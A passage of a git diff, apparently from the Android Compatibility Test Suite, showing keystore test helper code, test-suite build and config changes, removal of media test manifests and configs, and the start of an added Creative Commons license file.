+            System.arraycopy(arr2, offset2, result, len1, len2);
+        }
+        return result;
+    }
+
+    public static byte[] subarray(byte[] arr, int offset, int len) {
+        if (len == 0) {
+            return EmptyArray.BYTE;
+        }
+        if ((offset == 0) && (arr.length == len)) {
+            return arr;
+        }
+        byte[] result = new byte[len];
+        System.arraycopy(arr, offset, result, 0, len);
+        return result;
+    }
+
+    public static KeyProtection getMinimalWorkingImportParametersForSigningingWith(
+            String signatureAlgorithm) {
+        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
+        String digest = getSignatureAlgorithmDigest(signatureAlgorithm);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .build();
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            String padding = getSignatureAlgorithmPadding(signatureAlgorithm);
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setSignaturePaddings(padding)
+                    .build();
+        } else {
+            throw new IllegalArgumentException(
+                    "Unsupported signature algorithm: " + signatureAlgorithm);
+        }
+    }
+
+    public static KeyProtection getMinimalWorkingImportParametersWithLimitedUsageForSigningingWith(
+            String signatureAlgorithm, int maxUsageCount) {
+        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
+        String digest = getSignatureAlgorithmDigest(signatureAlgorithm);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setMaxUsageCount(maxUsageCount)
+                    .build();
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            String padding = getSignatureAlgorithmPadding(signatureAlgorithm);
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setSignaturePaddings(padding)
+                    .setMaxUsageCount(maxUsageCount)
+                    .build();
+        } else {
+            throw new IllegalArgumentException(
+                    "Unsupported signature algorithm: " + signatureAlgorithm);
+        }
+    }
+
+    public static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
+            String transformation, int purposes) {
+        return getMinimalWorkingImportParametersForCipheringWith(transformation, purposes, false);
+    }
+
+    public static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
+            String transformation, int purposes, boolean ivProvidedWhenEncrypting) {
+        return getMinimalWorkingImportParametersForCipheringWith(transformation, purposes,
+            ivProvidedWhenEncrypting, false, false);
+    }
+
+    public static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
+            String transformation, int purposes, boolean ivProvidedWhenEncrypting,
+            boolean isUnlockedDeviceRequired, boolean isUserAuthRequired) {
+        String keyAlgorithm = TestUtils.getCipherKeyAlgorithm(transformation);
+        if (KeyProperties.KEY_ALGORITHM_AES.equalsIgnoreCase(keyAlgorithm)
+            || KeyProperties.KEY_ALGORITHM_3DES.equalsIgnoreCase(keyAlgorithm)) {
+            String encryptionPadding = TestUtils.getCipherEncryptionPadding(transformation);
+            String blockMode = TestUtils.getCipherBlockMode(transformation);
+            boolean randomizedEncryptionRequired = true;
+            if (KeyProperties.BLOCK_MODE_ECB.equalsIgnoreCase(blockMode)) {
+                randomizedEncryptionRequired = false;
+            } else if ((ivProvidedWhenEncrypting)
+                    && ((purposes & KeyProperties.PURPOSE_ENCRYPT) != 0)) {
+                randomizedEncryptionRequired = false;
+            }
+            return new KeyProtection.Builder(
+                    purposes)
+                    .setBlockModes(blockMode)
+                    .setEncryptionPaddings(encryptionPadding)
+                    .setRandomizedEncryptionRequired(randomizedEncryptionRequired)
+                    .setUnlockedDeviceRequired(isUnlockedDeviceRequired)
+                    .setUserAuthenticationRequired(isUserAuthRequired)
+                    .setUserAuthenticationValidityDurationSeconds(3600)
+                    .build();
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            String digest = TestUtils.getCipherDigest(transformation);
+            String encryptionPadding = TestUtils.getCipherEncryptionPadding(transformation);
+            boolean randomizedEncryptionRequired =
+                    !KeyProperties.ENCRYPTION_PADDING_NONE.equalsIgnoreCase(encryptionPadding);
+            return new KeyProtection.Builder(
+                    purposes)
+                    .setDigests((digest != null) ? new String[] {digest} : EmptyArray.STRING)
+                    .setEncryptionPaddings(encryptionPadding)
+                    .setRandomizedEncryptionRequired(randomizedEncryptionRequired)
+                    .setUserAuthenticationRequired(isUserAuthRequired)
+                    .setUserAuthenticationValidityDurationSeconds(3600)
+                    .setUnlockedDeviceRequired(isUnlockedDeviceRequired)
+                    .build();
+        } else {
+            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
+        }
+    }
+
+    public static byte[] getBigIntegerMagnitudeBytes(BigInteger value) {
+        return removeLeadingZeroByteIfPresent(value.toByteArray());
+    }
+
+    private static byte[] removeLeadingZeroByteIfPresent(byte[] value) {
+        if ((value.length < 1) || (value[0] != 0)) {
+            return value;
+        }
+        return TestUtils.subarray(value, 1, value.length - 1);
+    }
+
+    public static byte[] generateRandomMessage(int messageSize) {
+        byte[] message = new byte[messageSize];
+        new SecureRandom().nextBytes(message);
+        return message;
+    }
+
+    public static boolean isAttestationSupported() {
+        return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+    }
+}
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 891ebc3..eed4fc3 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -30,6 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index 01661a5..0a86e12 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -43,4 +43,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index 58c388c..3febb32 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -30,6 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index 763ce25..563be14 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -41,4 +41,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 44a997a..98684b2 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -26,6 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 3fdc075..35d43a0 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -43,4 +43,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/tests/libcorelegacy22/TEST_MAPPING b/tests/tests/libcorelegacy22/TEST_MAPPING
index acefbee..fcc1363 100644
--- a/tests/tests/libcorelegacy22/TEST_MAPPING
+++ b/tests/tests/libcorelegacy22/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsLibcoreLegacy22TestCases"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsLibcoreLegacy22TestCases"
+    }
   ]
 }
diff --git a/tests/tests/libnativehelper/TEST_MAPPING b/tests/tests/libnativehelper/TEST_MAPPING
index f7789dc..9a86fff 100644
--- a/tests/tests/libnativehelper/TEST_MAPPING
+++ b/tests/tests/libnativehelper/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsLibnativehelperTestCases"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsLibnativehelperTestCases"
+    }
   ]
 }
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 5411ad4..7efef0be 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -32,4 +32,9 @@
 
     srcs: ["src/**/*.java"],
     sdk_version: "system_current",
+    data: [
+        ":CtsMatchFlagsSharedUri",
+        ":CtsMatchFlagsUniqueAndSharedUri",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 61a2596..6e6c902 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -14,89 +14,14 @@
 
 package {
     // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-CC-BY
-    //   legacy_unencumbered
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license",
+    ],
 }
 
-java_library {
-    name: "ctsmediautil",
-    srcs: [
-        "src/android/media/cts/CodecImage.java",
-        "src/android/media/cts/YUVImage.java",
-        "src/android/media/cts/CodecUtils.java",
-        "src/android/media/cts/CodecState.java",
-        "src/android/media/cts/MediaCodecTunneledPlayer.java",
-        "src/android/media/cts/MediaTimeProvider.java",
-        "src/android/media/cts/NonBlockingAudioTrack.java",
-    ],
-    sdk_version: "current",
-}
-
-android_test {
-    name: "CtsMediaTestCases",
-    defaults: ["cts_defaults"],
-    // include both the 32 and 64 bit versions
-    compile_multilib: "both",
-    static_libs: [
-        "androidx.test.core",
-        "androidx.test.ext.junit",
-        "compatibility-device-util-axt",
-        "ctsdeviceutillegacy-axt",
-        "ctsmediautil",
-        "ctstestrunner-axt",
-        "hamcrest-library",
-        "ctstestserver",
-        "junit",
-        "junit-params",
-        "ndkaudio",
-        "testng",
-        "truth-prebuilt",
-        "mockito-target-minus-junit4",
-        "androidx.heifwriter_heifwriter",
-        "CtsCameraUtils",
-    ],
-    jni_libs: [
-        "libaudio_jni",
-        "libctscodecutils_jni",
-        "libctsimagereader_jni",
-        "libctsmediadrm_jni",
-        "libctsmediacodec_jni",
-        "libnativehelper_compat_libc++",
-        "libndkaudioLib",
-    ],
-    // do not compress VP9 video files
-    aaptflags: [
-        "-0 .vp9",
-        "-0 .ts",
-        "-0 .heic",
-        "-0 .trp",
-        "-0 .ota",
-        "-0 .mxmf",
-    ],
-    srcs: [
-        "src/**/*.java",
-        "aidl/**/*.aidl",
-    ],
-    // This test uses private APIs
-    //sdk_version: "current",
-    platform_apis: true,
-    jni_uses_sdk_apis: true,
-    libs: [
-        "org.apache.http.legacy",
-        "android.test.base",
-        "android.test.runner",
-    ],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-        "mts-media",
-    ],
-    host_required: ["cts-dynamic-config"],
-    min_sdk_version: "29",
+license {
+    name: "cts_tests_tests_media_license",
+    license_kinds: ["SPDX-license-identifier-CC-BY-3.0"],
+    license_text: ["LICENSE_CC_BY"],
 }
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
deleted file mode 100644
index 889994e..0000000
--- a/tests/tests/media/AndroidManifest.xml
+++ /dev/null
@@ -1,185 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2009 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="android.media.cts"
-     android:targetSandboxVersion="2">
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CAMERA"/>
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
-    <uses-permission android:name="android.permission.INTERNET"/>
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
-    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
-    <uses-permission android:name="android.permission.WAKE_LOCK"/>
-    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
-    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"/>
-    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"/>
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
-
-    <uses-permission android:name="android.permission.VIBRATE"/>
-
-    <permission android:name="android.media.cts"
-         android:protectionLevel="normal"/>
-
-    <application android:networkSecurityConfig="@xml/network_security_config"
-         android:requestLegacyExternalStorage="true"
-         android:largeHeap="true">
-        <uses-library android:name="android.test.runner"/>
-        <uses-library android:name="org.apache.http.legacy"
-             android:required="false"/>
-
-        <activity android:name="android.media.cts.MediaProjectionActivity"
-             android:label="MediaProjectionActivity"
-             android:screenOrientation="locked"/>
-        <activity android:name="android.media.cts.AudioManagerStub"
-             android:label="AudioManagerStub"/>
-        <activity android:name="android.media.cts.AudioManagerStubHelper"
-             android:label="AudioManagerStubHelper"/>
-        <activity android:name="android.media.cts.DecodeAccuracyTestActivity"
-             android:label="DecodeAccuracyTestActivity"
-             android:screenOrientation="locked"
-             android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|screenSize|navigation"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.MediaSessionTestActivity"
-             android:label="MediaSessionTestActivity"
-             android:screenOrientation="nosensor"
-             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.MediaStubActivity"
-             android:label="MediaStubActivity"
-             android:screenOrientation="nosensor"
-             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.MediaStubActivity2"
-             android:label="MediaStubActivity2"
-             android:screenOrientation="nosensor"
-             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.FaceDetectorStub"
-             android:label="FaceDetectorStub"/>
-        <activity android:name="android.media.cts.MediaPlayerSurfaceStubActivity"
-             android:label="MediaPlayerSurfaceStubActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.ResourceManagerStubActivity"
-             android:label="ResourceManagerStubActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.ResourceManagerTestActivity1"
-             android:label="ResourceManagerTestActivity1"
-             android:process=":mediaCodecTestProcess1">
-        </activity>
-        <activity android:name="android.media.cts.ResourceManagerTestActivity2"
-             android:label="ResourceManagerTestActivity2"
-             android:process=":mediaCodecTestProcess2">
-        </activity>
-        <activity android:name="android.media.cts.RingtonePickerActivity"
-             android:label="RingtonePickerActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-        <activity android:name="android.media.cts.MockActivity"/>
-        <activity android:name="android.media.cts.MediaRouter2TestActivity"/>
-        <service android:name="android.media.cts.RemoteVirtualDisplayService"
-             android:process=":remoteService"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-            </intent-filter>
-        </service>
-        <service android:name="android.media.cts.StubMediaBrowserService"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.media.browse.MediaBrowserService"/>
-            </intent-filter>
-        </service>
-        <service android:name="android.media.cts.StubMediaSession2Service"
-             android:permission="android.media.cts"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.media.MediaSession2Service"/>
-            </intent-filter>
-        </service>
-        <service android:name="android.media.cts.LocalMediaProjectionService"
-             android:foregroundServiceType="mediaProjection"
-             android:enabled="true">
-        </service>
-        <service android:name=".StubMediaRoute2ProviderService"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.media.MediaRoute2ProviderService"/>
-            </intent-filter>
-        </service>
-        <service android:name="android.media.cts.MediaButtonReceiverService"
-             android:exported="true"/>
-        <service android:name=".MediaBrowserServiceTestService"
-             android:process=":mediaBrowserServiceTestService"/>
-        <service android:name=".MediaSessionTestService"
-             android:process=":mediaSessionTestService"/>
-        <receiver android:name="android.media.cts.MediaButtonBroadcastReceiver"/>
-    </application>
-
-    <uses-sdk android:minSdkVersion="29"
-         android:targetSdkVersion="31"/>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-         android:targetPackage="android.media.cts"
-         android:label="CTS tests of android.media">
-        <meta-data android:name="listener"
-             android:value="com.android.cts.runner.CtsTestRunListener"/>
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
deleted file mode 100644
index 23cc264..0000000
--- a/tests/tests/media/AndroidTest.xml
+++ /dev/null
@@ -1,63 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Media test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="media" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
-    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
-        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
-        <option name="set-test-harness" value="false" />
-        <option name="screen-always-on" value="on" />
-        <option name="screen-adaptive-brightness" value="off" />
-        <option name="disable-audio" value="false"/>
-        <option name="screen-saver" value="off"/>
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="host" />
-        <option name="config-filename" value="CtsMediaTestCases" />
-        <option name="dynamic-config-name" value="CtsMediaTestCases" />
-        <option name="version" value="9.0_r1"/>
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
-        <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaTestCases-1.4" />
-        <option name="dynamic-config-module" value="CtsMediaTestCases" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsMediaTestCases.apk" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaTestCases" />
-        <option name="version" value="7.0"/>
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.media.cts" />
-        <!-- setup can be expensive so limit the number of shards -->
-        <option name="ajur-max-shard" value="5" />
-        <!-- test-timeout unit is ms, value = 30 min -->
-        <option name="test-timeout" value="1800000" />
-        <option name="runtime-hint" value="4h" />
-        <option name="exclude-annotation" value="org.junit.Ignore" />
-        <option name="hidden-api-checks" value="false" />
-        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
-        <option name="isolated-storage" value="false" />
-    </test>
-</configuration>
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
deleted file mode 100644
index 942ab80..0000000
--- a/tests/tests/media/DynamicConfig.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<dynamicConfig>
-    <entry key="media_codec_capabilities_test_avc_baseline12">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=160&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=9EDCA0B395B8A949C511FD5E59B9F805CFF797FD.702DE9BA7AF96785FD6930AD2DD693A0486C880E&amp;key=ik0</value>
-    </entry>
-    <entry key="media_codec_capabilities_test_avc_baseline30">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=18&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=7DCDE3A6594D0B91A27676A3CDC3A87B149F82EA.7A83031734CB1EDCE06766B6228842F954927960&amp;key=ik0</value>
-    </entry>
-    <entry key="media_codec_capabilities_test_avc_high31">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=22&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=179525311196616BD8E1381759B0E5F81A9E91B5.C4A50E44059FEBCC6BBC78E3B3A4E0E0065777&amp;key=ik0</value>
-    </entry>
-    <entry key="media_codec_capabilities_test_avc_high40">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=137&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=B0976085596DD42DEA3F08307F76587241CB132B.043B719C039E8B92F45391ADC0BE3665E2332930&amp;key=ik0</value>
-    </entry>
-    <entry key="streaming_media_player_test_http_h263_amr_video1">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=13&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=5729247E22691EBB3E804DDD523EC42DC17DD8CE.443B81C1E8E6D64E4E1555F568BA46C206507D78&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="streaming_media_player_test_http_h263_amr_video2">
-        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=13&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=508D82AB36939345BF6B8D0623CB6CABDD9C64C3.9B3336A96846DF38E5343C46AA57F6CF2956E427&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="streaming_media_player_test_http_h264_base_aac_video1">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=667AEEF54639926662CE62361400B8F8C1753B3F.15F46C382C68A9F121BA17BF1F56BEDEB4B06091&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="streaming_media_player_test_http_h264_base_aac_video2">
-        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=46A04ED550CA83B79B60060BA80C79FDA5853D26.49582D382B4A9AFAA163DED38D2AE531D85603C0&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="streaming_media_player_test_http_mpeg4_sp_aac_video1">
-        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=837198AAADF6F36BA6B2D324F690A7C5B7AFE3FF.7138CE5E36D718220726C1FC305497FF2D082249&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="streaming_media_player_test_http_mpeg4_sp_aac_video2">
-        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="media_files_url">
-    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.4.zip</value>
-    </entry>
-</dynamicConfig>
diff --git a/tests/tests/media/LICENSE_CC_BY b/tests/tests/media/LICENSE_CC_BY
new file mode 100644
index 0000000..e3feb12
--- /dev/null
+++ b/tests/tests/media/LICENSE_CC_BY
@@ -0,0 +1,348 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta name="generator" content="HTML Tidy for Linux/x86 (vers 1 September 2005), see www.w3.org" />
+<title>Creative Commons Legal Code</title>
+<meta http-equiv="content-type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" href="https://creativecommons.org/includes/deed3.css" media="screen" />
+<link rel="stylesheet" type="text/css" href="https://creativecommons.org/includes/deed3-print.css" media="print" />
+<!--[if lt IE 7]><link rel="stylesheet" type="text/css" href="https://creativecommons.org/includes/deed3-ie.css" media="screen" /><![endif]-->
+<script type="text/javascript" src="https://creativecommons.org/includes/errata.js">
+</script>
+</head>
+<body>
+<p align="center" id="header"><a href="https://creativecommons.org/">Creative Commons</a></p>
+<div id="deed" class="green">
+<div id="deed-head">
+<div id="cc-logo">
+<img src="https://creativecommons.org/images/deed/cc-logo.jpg" alt="" />
+</div>
+<h1><span>Creative Commons Legal Code</span></h1>
+<div id="deed-license">
+<h2>Attribution 3.0 United States</h2>
+</div>
+</div>
+<div id="deed-main">
+<div id="deed-main-content">
